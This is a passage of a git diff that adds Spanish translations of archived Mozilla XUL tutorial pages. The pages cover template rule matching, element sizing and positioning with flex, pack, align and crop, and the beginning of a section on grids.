+<p>Todos los atributos puestos en el rótulo tag se usan como criterio de correspondencia. En este caso, la fuente de datos <code>bookmarks</code> provee una propiedad <code>rdf:type</code> para distinguir separadores. Este atributo es fijado en un valor especial para los separadores en la fuente de datos RDF de marcadores, así es como podemos distinguirlos de los marcadores que no son separadores. Una técnica similar puede ser utilizada para cualquier atributo que pudiera existir en un elemento RDF <code>Description</code>.</p>
+
+<p>El valor URL específico dado al primer lineamiento en el ejemplo de arriba se utiliza para separadores. Esto significa que los separadores seguirán la regla uno y generarán un elemento <code><a href="es/XUL/Elementos/spacer">spacer</a></code>, el que mostrará un hueco de 16 píxeles. Los elementos que no sean separadores no coincidirán con la regla uno y caerán en la regla dos, la cual no posee atributos por lo que cualquier dato coincide. Esto es, por supuesto, lo que queremos que le suceda al resto de la información.</p>
+
+<p>Se habrá notado también que como quisimos obtener un atributo del área de denominación RDF (<code>rdf:type</code>) tuvimos que añadir una declaración del área de denominación al rótulo <code><a href="es/XUL/Elementos/window">window</a></code>. Si no hubiéramos hecho esto el atributo (type) se habría buscado en el área de denominación XUL, y como éste atributo no existe en ella la regla no tendría correspondencias. Si se utilizan atributos en un área de denominación propia se deberá añadir una declaración a la misma para corresponderlos.</p>
+
+<p>Debería adivinarse qué sucedería si se eliminara la segunda delineación. Como resultado se vería un solo espacio y ningún marcador ya que los mismos no coincidirían con ninguna de las reglas.</p>
+
+<p>Puesto de manera simple, una delineación corresponde si todos los atributos puestos en el elemento <code>rule</code> coinciden los atributos correspondientes en el recurso RDF. En el caso de un archivo RDF, los recursos serían los elementos <code>Description</code>.</p>
+
+<p>Sin embargo hay pequeñas excepciones. No puede haber correspondencias basadas en los atributos id, <code>rdf:property</code> o <code>rdf:instanceOf</code>, aunque ya que pueden utilizarse atributos propios de áreas de denominación propias esto no debe importar mucho.</p>
+
+<p>Note que una plantilla sin reglas en ella, como en el primer ejemplo, en realidad es funcionalmente un equivalente a una plantilla con un solo lineamiento sin atributos en él.</p>
+
+<p>A continuación veremos cómo utilizar plantillas con los árboles.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Introducción_a_RDF" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Árboles_y_plantillas">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/posicionamiento_de_elementos_de_la_ventana/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/posicionamiento_de_elementos_de_la_ventana/index.html
new file mode 100644
index 0000000000..8777a6f90c
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/posicionamiento_de_elementos_de_la_ventana/index.html
@@ -0,0 +1,229 @@
+---
+title: Posicionamiento de elementos de la ventana
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Posicionamiento_de_elementos_de_la_ventana
+tags:
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Element_Positioning
+---
+<p>Aquí veremos cómo controlar la posición y tamaño de un elemento.</p>
+<h3 id="Posicionamiento_de_elementos_de_la_caja" name="Posicionamiento_de_elementos_de_la_caja">Posicionamiento de elementos de la caja</h3>
+<p>Hasta ahora sabemos cómo posicionar vertical u horizontalmente los elementos en el interior de una caja. A menudo necesitaremos mayor control sobre la posición y tamaño de los elementos dentro de la caja, para esto primero necesitamos echar un vistazo a cómo trabaja una caja.</p>
+<p>La posición de un elemento es determinada por el estilo de esquema de su contenedor. Por ejemplo, la posición de un botón en una caja horizontal es a la derecha del botón anterior, si es que hay alguno. El tamaño de un elemento es determinado por dos factores, el tamaño que el elemento necesita poseer y el tamaño que uno especifique. El tamaño que un elemento requiere es determinado por el tipo de elemento. Por ejemplo, el ancho de un botón es determinado por la cantidad de texto en el botón.</p>
+<p>Un elemento será generalmente tan amplio como éste necesite para soportar su contenido, y no mayor. Algunos elementos, como las cajas de texto, tienen un tamaño predeterminado. Una caja será suficientemente amplia como para contener los elementos dentro de ella. Una caja horizontal con tres botones en ella será tan ancha como los tres botones, más un pequeño espacio de relleno.</p>
+<p>En la imagen de abajo, a los primeros dos botones se les ha dado un tamaño adecuado como para contener su texto. El tercer botón es mayor porque tiene más contenido. El ancho de la caja que contiene los botones es el ancho total de los botones más el espacio entre ellos. El alto de los botones es de un tamaño apropiado para contener el texto.</p>
+<p><img alt="posicionamiento_img01.jpg" class="internal default" src="/@api/deki/files/4787/=posicionamiento_img01.jpg"></p>
+<p>Podría necesitarse tener mayor control sobre el tamaño de un elemento en una ventana. Hay para ello un número de características que permiten controlar el tamaño de un elemento. La forma rápida es simplemente agregar a un elemento los atributos width (ancho) y height (alto), muy parecido a lo que puede hacerse en un rótulo HTML img. Un ejemplo se demuestra abajo:</p>
+<h4 id="Ejemplo_atributos_height_y_width" name="Ejemplo:_atributos_height_y_width">Ejemplo: atributos height y width</h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_1.xul">Ver en funcionamiento</a></p>
+<pre>&lt;button label="Aceptar" width="100" height="40"/&gt;
+</pre>
+<p>Sin embargo, no se recomienda hacer esto, ya que no es muy portable y podría no adaptarse a algunos temas. Una mejor forma es utilizar propiedades de estilo, que funcionan de manera similar a las hojas de estilo en HTML. Pueden utilizarse las siguientes propiedades CSS:</p>
+<dl>
+ <dt>
+  width </dt>
+ <dd>
+  Esto especifica el ancho del elemento.</dd>
+ <dt>
+  height </dt>
+ <dd>
+  Especifica el alto del elemento.</dd>
+</dl>
+<p>Fijando cualquiera de estas propiedades, el elemento será creado con ese ancho y/o largo. Si se especifica solo una propiedad de tamaño, la otra se calculará de acuerdo a lo requerido. El tamaño de estas propiedades de estilo deben especificarse como un número seguido de una unidad de medida.</p>
+<p>Los tamaños son bastante fáciles de calcular para elementos no flexibles. Estos simplemente obedecen sus anchos y altos especificados, y si el tamaño no fuera especificado, el tamaño predeterminado del elemento será lo suficientemente amplio como para acomodar su contenido. Para elementos flexibles, el cálculo es ligeramente más difícil.</p>
+<p>Elementos flexibles son aquellos que poseen el atributo flex establecido en un valor mayor que 0. Debe recordarse que los elementos flexibles aumentan y disminuyen su tamaño para acomodarse al espacio disponible. Su tamaño predeterminado aún se calcula igual que el de los elementos no flexibles. El siguiente ejemplo lo demuestra:</p>
+<h4 id="Ejemplo" name="Ejemplo">Ejemplo</h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_2.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_2.xul">Ver en funcionamiento</a></p>
+<pre>&lt;window orient="horizontal"
+        xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+&lt;hbox&gt;
+  &lt;button label="Sí" flex="1"/&gt;
+  &lt;button label="No"/&gt;
+  &lt;button label="Realmente no sé si uno u otro."/&gt;
+&lt;/hbox&gt;
+
+&lt;/window&gt;
+</pre>
+<p>La ventana aparecerá inicialmente como la imagen anterior. Los primeros dos botones serán dimensionados a un adecuado ancho predeterminado y el tercer botón será mayor porque tiene una etiqueta más larga. El primer botón fue hecho flexible y los tres elementos han sido puestos dentro de una caja. El ancho de la caja se fijará al ancho total inicial de los tres botones (en la imagen cerca de 430 píxeles).</p>
+<p>Si se incrementa el ancho de la ventana, los elementos son comprobados para ver si son flexibles y así rellenar el espacio en blanco que aparecerá. El botón es el único elemento flexible, pero no aumentará su ancho porque la caja dentro de la que encuentra no es flexible. Un elemento no flexible nunca cambia su tamaño aún cuando haya espacio disponible, por lo que el botón no podrá crecer. Esto es, el botón no se hará más ancho.</p>
+<p>La solución es también hacer flexible a la caja. Entonces, cuando se haga más ancha la ventana, habrá espacio extra disponible, por lo que la caja crecerá para ocupar el espacio extra. Como la caja es mayor, también se creará espacio extra dentro de ella, y el botón flexible que contiene crecerá para ajustarse al espacio disponible. Este proceso se repetirá por cada caja anidada existente.</p>
+<h3 id="Estableciendo_tama.C3.B1os_m.C3.ADnimos_y_m.C3.A1ximos" name="Estableciendo_tama.C3.B1os_m.C3.ADnimos_y_m.C3.A1ximos">Estableciendo tamaños mínimos y máximos</h3>
+<p>Puede ser necesario permitir que un elemento sea flexible, pero restringir su tamaño para que no pueda superar cierta dimensión; o puede necesitarse especificar un tamaño mínimo. Esto puede establecerse utilizando cuatro atributos.</p>
+<dl>
+ <dt>
+  minwidth </dt>
+ <dd>
+  Especifica el ancho mínimo del elemento.</dd>
+ <dt>
+  minheight </dt>
+ <dd>
+  Especifica la altura mínima del elemento.</dd>
+ <dt>
+  maxwidth </dt>
+ <dd>
+  Especifica el ancho máximo del elemento.</dd>
+ <dt>
+  maxheight </dt>
+ <dd>
+  Especifica la altura máxima del elemento.</dd>
+</dl>
+<p>Estos valores se miden siempre en píxeles. También pueden utilizarse las correspondientes propiedades CSS, <code>min-width</code>, <code>min-height</code>, <code>max-width</code> y <code>max-height</code>.</p>
+<p>Estas propiedades son aprovechables únicamente por elementos flexibles. Especificando una altura máxima, por ejemplo, un botón flexible podrá crecer solamente hasta esa altura. Aún podrá redimensionarse la ventana más allá de ese punto pero el botón dejará de crecer. Asimismo, la caja en la que se encuentre el botón podrá continuar agrandándose, a menos que también se le fije una altura máxima.</p>
+<p>Si dos botones son igualmente flexibles, normalmente ambos compartirán el espacio extra. Si un botón tiene un ancho máximo, el segundo continuará creciendo y ocupará todo el espacio restante.</p>
+<p>Si una caja posee un ancho o alto máximos, los hijos no podrán crecer más allá de ese tamaño máximo. Si una caja tiene un ancho o alto mínimos, los hijos no podrán achicarse menos que ese tamaño mínimo. Aquí hay algunos ejemplos del establecimiento de anchos y altos:</p>
+<pre>&lt;button label="1" style="width: 100px;"/&gt;
+&lt;button label="2" style="width: 100em; height: 10px;"/&gt;
+&lt;button label="3" flex="1" style="min-width: 50px;"/&gt;
+&lt;button label="4" flex="1" style="min-height: 2ex; max-height: 100px"/&gt;
+&lt;textbox flex="1" style="max-width: 10em;"/&gt;
+&lt;description style="max-width: 50px"&gt;Este es un aburrido pero simple texto desplegable.&lt;/description&gt;
+</pre>
+<dl>
+ <dt>
+  Ejemplo 1 </dt>
+ <dd>
+  el primer botón será mostrado con un ancho de 100 píxeles (px significa píxeles). Debe agregarse la unidad de medida o el ancho será ignorado.</dd>
+ <dt>
+  Ejemplo 2 </dt>
+ <dd>
+  el segundo botón se mostrará con un alto de diez píxeles y un ancho de 100 ems (un em es la medida de un carácter en el tipo de letra utilizado).</dd>
+ <dt>
+  Ejemplo 3 </dt>
+ <dd>
+  el tercer botón es flexible, por lo que crecerá basado en el tamaño de la caja en la que se encuentre. Sin embargo, el botón nunca se reducirá a menos de 50 píxeles. Otros componentes flexibles como los espaciadores absorberán el espacio remanente, rompiendo el cociente flex.</dd>
+ <dt>
+  Ejemplo 4 </dt>
+ <dd>
+  el cuarto botón es flexible y nunca tendrá una altura que sea menor a 2 ex (un ex es normalmente la altura de la letra x en el tipo de letra utilizado) o mayor que 100 píxeles.</dd>
+ <dt>
+  Ejemplo 5 </dt>
+ <dd>
+  la entrada de texto es flexible pero nunca crecerá más de 10 ems. A menudo se querrá utilizar ems al especificar tamaños de elementos con texto en ellos. Esta unidad de medida es útil para cajas de texto, así el tipo de letra podrá cambiar y las cajas de texto siempre poseerán un tamaño adecuado, aún si el tipo de letra es muy grande.</dd>
+ <dt>
+  Ejemplo 6 </dt>
+ <dd>
+  el elemento <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_description.html">description</a></code> está restringido a poseer un ancho máximo de 50 píxeles. El texto contenido se desplegará hasta la siguiente línea, luego de cincuenta píxeles.</dd>
+</dl>
+<div class="highlight">
+ <p>Agreguemos alguno de estos estilos a la ventana de diálogo "buscar archivos". Lo haremos de tal manera que la caja de texto se redimensione para ocupar toda la ventana.</p>
+ <p>&lt;textbox id="find-text" flex="1" style="min-width: 15em;"/&gt;</p>
+ <p>Aquí, la entrada de texto se ha hecho flexible, de esta manera crecerá si el usuario cambia el tamaño de la ventana. Esto es útil si el usuario desea ingresar una cadena de texto muy larga. También, un ancho mínimo de 15 ems fue fijado para que la caja de texto siempre muestre al menos 15 caracteres. Si el usuario achica el tamaño de la ventana, la entrada de texto no se reducirá pasados los 15 ems. Se dibujará como si se extendiera sobrepasando el borde de la ventana. Nótese en la imagen de abajo que la entrada de texto a crecido para extenderse por el tamaño total de la ventana.</p>
+</div>
+<h3 id="Empaque_de_cajas" name="Empaque_de_cajas">Empaque de cajas</h3>
+<p>Digamos que se tiene una caja con dos elementos hijos, de los cuales ninguno es flexible, pero la caja sí lo es. Por ejemplo:</p>
+<h4 id="Ejemplo_2" name="Ejemplo_2">Ejemplo</h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_3.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_3.xul">Ver en funcionamiento</a></p>
+<pre>&lt;box flex="1"&gt;
+  &lt;button label="Alegre"/&gt;
+  &lt;button label="Triste"/&gt;
+&lt;/box&gt;
+</pre>
+<p>Si se redimensiona la ventana, la caja se expandirá para adaptarse al tamaño de la ventana. Los botones no son flexibles, por lo que sus longitudes no cambiarán. El resultado es espacio extra que aparecerá en el lado derecho de la ventana, dentro de la caja. Puede desearse, sin embargo, que el espacio extra aparezca del lado izquierdo, así los botones se mantendrán alineados a la derecha en la ventana.</p>
+<p>Esto puede lograrse colocando un espaciador dentro de la caja, pero se volverá confuso cuando haya que realizarlo muchas veces. Una mejor solución es utilizar en la caja un atributo adicional: pack (empaquetar). Este atributo indica cómo empaquetar los elementos hijos dentro de la caja. Para cajas orientadas horizontalmente, controla el posicionamiento horizontal de los hijos. En cajas verticales, controla el posicionamiento vertical. Pueden utilizarse los siguientes valores:</p>
+<dl>
+ <dt>
+  start </dt>
+ <dd>
+  Posiciona los elementos en el extremo izquierdo para cajas horizontales y en el extremo superior para cajas verticales. Este es el valor predeterminado.</dd>
+ <dt>
+  center </dt>
+ <dd>
+  Centra los elementos hijos en la caja.</dd>
+ <dt>
+  end </dt>
+ <dd>
+  Posiciona los elementos al extremo derecho en cajas horizontales y al extremo inferior en cajas verticales.</dd>
+</dl>
+<p>El atributo <code>pack</code> se aplica a la caja contenedora de los elementos a ser empaquetados, no a los elementos en sí mismos.</p>
+<p>Podemos cambiar el ejemplo anterior para centrar los elementos, de esta manera:</p>
+<h4 id="Ejemplo_3" name="Ejemplo_3">Ejemplo</h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_4.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_4.xul">Ver en funcionamiento</a></p>
+<pre>&lt;box flex="1" pack="center"&gt;
+  &lt;button label="Alegre"/&gt;
+  &lt;button label="Triste"/&gt;
+&lt;/box&gt;
+</pre>
+<p>Ahora, cuando la ventana sea redimensionada, los botones se centrarán horizontalmente. Compare este comportamiento con el del ejemplo anterior.</p>
+<h3 id="Alineaci.C3.B3n_de_cajas" name="Alineaci.C3.B3n_de_cajas">Alineación de cajas</h3>
+<p>Si la ventana en el ejemplo Alegre/Triste se redimensiona horizontalmente, el ancho de la caja crecerá. Si no obstante se redimensiona la caja verticalmente, notará que la altura de los botones aumenta. Esto sucede porque la flexibilidad en la otra dirección se asume predeterminadamente.</p>
+<p>Puede regularse este comportamiento con el atributo <code>align</code> (alineación). Para cajas horizontales, éste controla verticalmente la posición de los hijos. En cajas verticales, controla la posición horizontal de los hijos. Los valores posibles son similares a los de <code>pack</code>..</p>
+<dl>
+ <dt>
+  start </dt>
+ <dd>
+  Alinea los elementos a lo largo del extremo superior para cajas horizontales y a lo largo del borde izquierdo para cajas verticales.</dd>
+ <dt>
+  center </dt>
+ <dd>
+  Centra los elementos hijos en la caja.</dd>
+ <dt>
+  end </dt>
+ <dd>
+  Alinea los elementos a lo largo del extremo inferior en cajas horizontales y a lo largo del borde derecho en cajas verticales.</dd>
+ <dt>
+  baseline </dt>
+ <dd>
+  Alinea los elementos para que el texto quede alineado. Esto es útil en cajas horizontales únicamente.</dd>
+ <dt>
+  stretch </dt>
+ <dd>
+  Este valor, el predeterminado, causa que los elementos crezcan hasta ocupar el tamaño de la caja, muy parecido a un elemento flexible, pero en la dirección opuesta.</dd>
+</dl>
+<p>Similar al atributo <code>pack</code>., el atributo <code>align</code> es aplicable únicamente a la caja cuyos elementos deben ser alineados, no a los elementos en sí.</p>
+<p>Por ejemplo, la primera caja de abajo tendrá a sus hijos expandidos, porque ése es el valor predeterminado. La segunda caja posee un atributo <code>align</code>, por lo que sus hijos se ubicarán centrados.</p>
+<h4 id="Ejemplo_4" name="Ejemplo_4">Ejemplo</h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_5.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_5.xul">Ver en funcionamiento</a></p>
+<pre>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;window id="sino" title="Pregunta" orient="horizontal"
+        xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+  &lt;hbox&gt;
+    &lt;button label="Sí"/&gt;
+    &lt;button label="No"/&gt;
+  &lt;/hbox&gt;
+  &lt;hbox align="center"&gt;
+    &lt;button label="Tal vez"/&gt;
+    &lt;button label="Quizás"/&gt;
+  &lt;/hbox&gt;
+
+&lt;/window&gt;
+</pre>
+<p><img alt="Image:boxstyle2-b.jpg"></p>
+<p>También pueden utilizarse las propiedades de estilo <code>-moz-box-pack</code> y <code>-moz-box-align</code> en lugar de especificar estos atributos.</p>
+<div class="note">
+ El ejemplo "Alineador de cajas" podría resultar útil para probar las distintas propiedades de la caja..</div>
+<h3 id="Recorte_de_texto_y_botones" name="Recorte_de_texto_y_botones">Recorte de texto y botones</h3>
+<p>Podría llegar a crearse un elemento button que contuviera una etiqueta cuyo ancho sea mayor que el ancho máximo del botón. Por supuesto, una solución sería incrementar el tamaño del botón; sin embargo, los botones (y otros elementos con una etiqueta) tienen un atributo especial llamado <code>crop</code> (recortar) que permite especificar cómo el texto será recortado si este es demasiado largo.</p>
+<p>Si el texto es recortado, puntos suspensivos (…) aparecerán en el botón de donde el texto fue recortado. Existen cuatro valores posibles:</p>
+<dl>
+ <dt>
+  left </dt>
+ <dd>
+  El texto es recortado por su lado izquierdo.</dd>
+ <dt>
+  right </dt>
+ <dd>
+  El texto es recortado por su lado derecho.</dd>
+ <dt>
+  center </dt>
+ <dd>
+  El texto es recortado en ambos extremos.</dd>
+ <dt>
+  none </dt>
+ <dd>
+  El texto no será recortado, este es el valor predeterminado.</dd>
+</dl>
+<p>En realidad, este atributo es útil únicamente cuando una ventana de diálogo es diseñada para ser utilizable en cualquier tamaño. El atributo <code>crop</code> también puede ser usado con el elemento <code>description</code> y otros elementos que utilicen el atributo <code>label</code> para etiquetas. Lo siguiente muestra este atributo en uso:</p>
+<h4 id="Ejemplo_5" name="Ejemplo_5">Ejemplo</h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_6.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_6.xul">Ver en funcionamiento</a></p>
+<pre>&lt;button label="¡Presióname por favor!" crop="right" flex="1"/&gt;
+</pre>
+<p><img alt="Image:boxstyle2.jpg"></p>
+<p>Nótese como al texto en el botón se le recortará su lado derecho luego de que la ventana sea achicada.</p>
+<h3 id="Ejemplo_.22Buscar_archivos.22_hasta_ahora" name="Ejemplo_.22Buscar_archivos.22_hasta_ahora">Ejemplo "Buscar archivos" hasta ahora</h3>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-boxstyle.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-boxstyle.xul">Ver en funcionamiento</a></p>
+<p>(Siguiente) A continuación, un resumen y algunos detalles adicionales del modelo de caja.</p>
+<p>Ejemplos: 3.2.1 3.2.2 3.2.3 3.2.4 3.2.5 3.2.6</p>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/rejillas/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/rejillas/index.html
new file mode 100644
index 0000000000..13b7abab12
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/rejillas/index.html
@@ -0,0 +1,141 @@
+---
+title: Rejillas
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Rejillas
+tags:
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Grids
+---
+<p> </p>
+<p>XUL posee un conjunto de elementos para crear rejilla tabulares.</p>
+<h3 id="Dise.C3.B1o_tabular_en_XUL" name="Dise.C3.B1o_tabular_en_XUL">Diseño tabular en XUL</h3>
+<p>Típicamente las páginas HTML utilizan tablas para diseñar o exhibir una rejillas de datos, XUL posee un conjunto de elementos para realizar este tipo de cosas. El elemento <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_grid.html">grid</a></code> (rejilla) se utiliza para declarar una rejilla de datos, y posee algunas similitudes con el rótulo HTML <code>table</code>.</p>
+<p>Una rejilla (<code>grid</code>) contiene elementos que son alineados en filas al igual que tablas. Dentro de la rejillaa se declaran dos cosas: las columnas y las filas que serán utilizadas. Tal como con las tablas HTML, dentro de las filas se inserta el contenido como ser etiquetas y botones. No se puede agregar contenido dentro de las columnas, pero pueden utilizarse para especificar el tamaño y apariencia de las mismas en la rejilla. Alternativamente, puede colocarse contenido dentro de las columnas y utilizarse las filas para especificar la apariencia. Primero veremos el método de organizar elementos por fila.</p>
+<p>Para declarar un conjunto de filas se utiliza el rótulo <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_rows.html">rows</a></code> (filas), el cual debe ser un elemento hijo del <code>grid</code>. Dentro de él añadiremos elementos <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_row.html">row</a></code> (fila), utilizados para especificar cada fila. Dentro de cada elemento row se agregará el contenido que se desee tener en esa fila.</p>
+<p>Análogamente, las columnas se declaran con el elemento <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_columns.html">columns</a></code> (columnas), que debe ser insertado como un elemento hijo de <code>grid</code> (la rejilla). Dentro de éste irán los elementos <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_column.html">column</a></code> (columna), uno por cada columna que se necesite en la rejilla. Esto debe ser fácil de entender con un ejemplo.</p>
+<h4 id="Ejemplo" name="Ejemplo">Ejemplo</h4>
+<pre>&lt;grid flex="1"&gt;
+  &lt;columns&gt;
+    &lt;column flex="2"/&gt;
+    &lt;column flex="1"/&gt;
+  &lt;/columns&gt;
+
+  &lt;rows&gt;
+    &lt;row&gt;
+      &lt;button label="Conejo"/&gt;
+      &lt;button label="Elefante"/&gt;
+    &lt;/row&gt;
+    &lt;row&gt;
+      &lt;button label="Koala"/&gt;
+      &lt;button label="Gorila"/&gt;
+    &lt;/row&gt;
+  &lt;/rows&gt;
+&lt;/grid&gt;
+</pre>
+<p><img alt="Image:grids1.jpg"></p>
+<p>A una rejilla se le han añadido dos filas y dos columnas, cada columna es declarada con el rótulo <code>column</code> y se la ha dado el atributo <code>flex</code>. Cada fila contiene dos elementos, ambos botones. El primer hijo de cada elemento <code>row</code> es puesto en la primer columna de la rejilla y el segundo hijo se coloca en la segunda columna. Nótese que no se necesita un elemento para declarar una celda, o sea que no hay un equivalente al elemento <code>td</code>de HTML. En lugar de esto, los contenidos de cada celda se ponen directamente en los elementos <code>row</code>.</p>
+<p>Obviamente, además de un <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_button.html">button</a></code> (botón) puede agregarse cualquier tipo de elemento. Si se necesita que una celda en particular contenga múltiples elementos puede utilizarse un <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_hbox.html">hbox</a></code> (caja anidada) u otro elemento de caja. La <code>hbox</code> es un solo elemento pero dentro de ella pueden colocarse todos los elementos que se quiera. Por ejemplo:</p>
+<h4 id="Ejemplo_2" name="Ejemplo_2">Ejemplo</h4>
+<pre>&lt;grid flex="1"&gt;
+  &lt;columns&gt;
+    &lt;column/&gt;
+    &lt;column flex="1"/&gt;
+  &lt;/columns&gt;
+
+  &lt;rows&gt;
+    &lt;row&gt;
+      &lt;label control="titulodoc" value="Título del documento:"/&gt;
+      &lt;textbox id="titulodoc" flex="1"/&gt;
+    &lt;/row&gt;
+    &lt;row&gt;
+      &lt;label control="rutadoc" value="Ubicación:"/&gt;
+      &lt;box flex="1"&gt;
+        &lt;textbox id="rutadoc" flex="1"/&gt;
+        &lt;button label="Revisar..."/&gt;
+      &lt;/box&gt;
+    &lt;/row&gt;
+  &lt;/rows&gt;
+&lt;/grid&gt;
+</pre>
+<p><img alt="Image:grids2.jpg"></p>
+<p>Note en la imagen de abajo cómo en la primer columna de elementos que contienen las etiquetas hay un solo elemento en cada fila. La segunda fila de la segunda columna contiene una caja, que a su vez contiene dos elementos, una <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_textbox.html">textbox</a></code> (caja de texto )y un <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_button.html">button</a></code> (botón). Dentro de una celda podrían insertarse cajas anidadas adicionales o incluso otra rejilla.</p>
+<p>Si se redimensiona la ventana del ejemplo anterior se verá que las cajas de texto cambian su tamaño, pero los demás elementos no. Esto es porque se añadieron atributos code&gt;flex&lt;/code&gt; a las cajas de texto y a la segunda columna. La primer columna no necesita ser flexible porque las etiquetas no requieren cambiar de tamaño.</p>
+<p>El ancho inicial de una columna es determinado por el elemento más grande en esa columna. Similarmente, la altura de una fila se determina por el tamaño de sus elementos. Para definir los tamaños pueden utilizarse las propiedades CSS <code>minwidth</code> y <code>maxwidth</code>, entre otras.</p>
+<p>También pueden colocarse los elementos dentro de las <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_column.html">column</a></code> en lugar de las filas. Si se hace esto, las filas serán declaradas únicamente para especificar cuántas filas existen.</p>
+<h4 id="Ejemplo_3" name="Ejemplo_3">Ejemplo</h4>
+<pre>&lt;grid&gt;
+  &lt;rows&gt;
+    &lt;row/&gt;
+    &lt;row/&gt;
+    &lt;row/&gt;
+  &lt;/rows&gt;
+
+  &lt;columns&gt;
+    &lt;column&gt;
+      &lt;label control="primero" value="Primer Nombre:"/&gt;
+      &lt;label control="segundo" value="Segundo Nombre:"/&gt;
+      &lt;label control="apellido" value="Apellido:"/&gt;
+    &lt;/column&gt;
+    &lt;column&gt;
+      &lt;textbox id="primero"/&gt;
+      &lt;textbox id="segundo"/&gt;
+      &lt;textbox id="apellido"/&gt;
+    &lt;/column&gt;
+  &lt;/columns&gt;
+
+&lt;/grid&gt;
+</pre>
+<p>Esta rejilla posee tres filas y dos columnas, los elementos <code>row</code> son solamente marcadores de posición para especificar cuántas hay. Puede añadirse el atributo <code>flex</code> a alguna fila para volverla flexible. El contenido es puesto dentro de cada <code>column</code>, el primer elemento dentro de cada elemento column es ubicado en la primer fila, el segundo en la segunda fila y el tercero en la tercer fila.</p>
+<p>Si se agrega contenido tanto en filas como en columnas, un contenido se superpondrá con el otro, aunque ambos se alinearán correctamente en la rejilla. Esto crea un efecto muy parecido a una rejilla de elementos <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_stack.html">stack</a></code> (pila).</p>
+<p>El orden de los elementos en la <code>grid</code> determina cuál se presentará encima y cuál será ubicado debajo. Si el elemento <code>rows</code> es puesto después del elemento columns, el contenido de las <code>rows</code> será mostrado por encima del contenido de las <code>columns</code>; si se ubica primero el elemento columns, su contenido se verá primero. Análogamente, los eventos como presiones en las teclas del ratón o del teclado se enviarán únicamente al grupo que se encuentre encima. Esta es la razón por la cual en el ejemplo anterior las columnas fueron declaradas después que las filas. Si las columnas se hubieran puesto primero, las filas recibirían los eventos y no podría escribirse en los campos correspondientes.</p>
+<p>Una de las principales ventajas que tienen las rejilla sobre las cajas anidadas es que pueden crearse celdas que son flexibles tanto horizontal como verticalmente. Esto puede lograrse fijando el atributo <code>flex</code> tanto en el elemento row como en el elemento column correspondientes. El siguiente ejemplo lo demuestra:</p>
+<h4 id="Ejemplo_4" name="Ejemplo_4">Ejemplo</h4>
+<pre>&lt;grid flex="1"&gt;
+ &lt;columns&gt;
+  &lt;column flex="5"/&gt;
+  &lt;column/&gt;
+  &lt;column/&gt;
+ &lt;/columns&gt;
+ &lt;rows&gt;
+  &lt;row flex="10"&gt;
+    &lt;button label="Cereza"/&gt;
+    &lt;button label="Limón"/&gt;
+    &lt;button label="Uva"/&gt;
+  &lt;/row&gt;
+  &lt;row flex="1"&gt;
+    &lt;button label="Frutilla"/&gt;
+    &lt;button label="Frambuesa"/&gt;
+    &lt;button label="Durazno"/&gt;
+  &lt;/row&gt;
+ &lt;/rows&gt;
+&lt;/grid&gt;
+</pre>
+<p>La primer columna y ambas filas fueron hechas flexibles, esto produce que cada celda de la primer columna sea flexible horizontalmente. Además, cada celda será flexible verticalmente porque ambas filas son flexibles, pero la primer fila es bastante más. La celda en la primer fila y columna (el botón "Cereza"?) será flexible horizontalmente por un factor de 5 y verticalmente por un factor de 10. La siguiente celda (Limón) sólo será flexible verticalmente. El atributo flex también fue añadido al elemento grid por lo que la rejilla completa será flexible, de lo contrario crecería en una sola dirección.</p>
+<p>The flex attribute has also been added to the <code>grid</code> element so that the entire grid is flexible, otherwise it would only grow in one direction.</p>
+<h3 id="Column_Spanning" name="Column_Spanning">Column Spanning</h3>
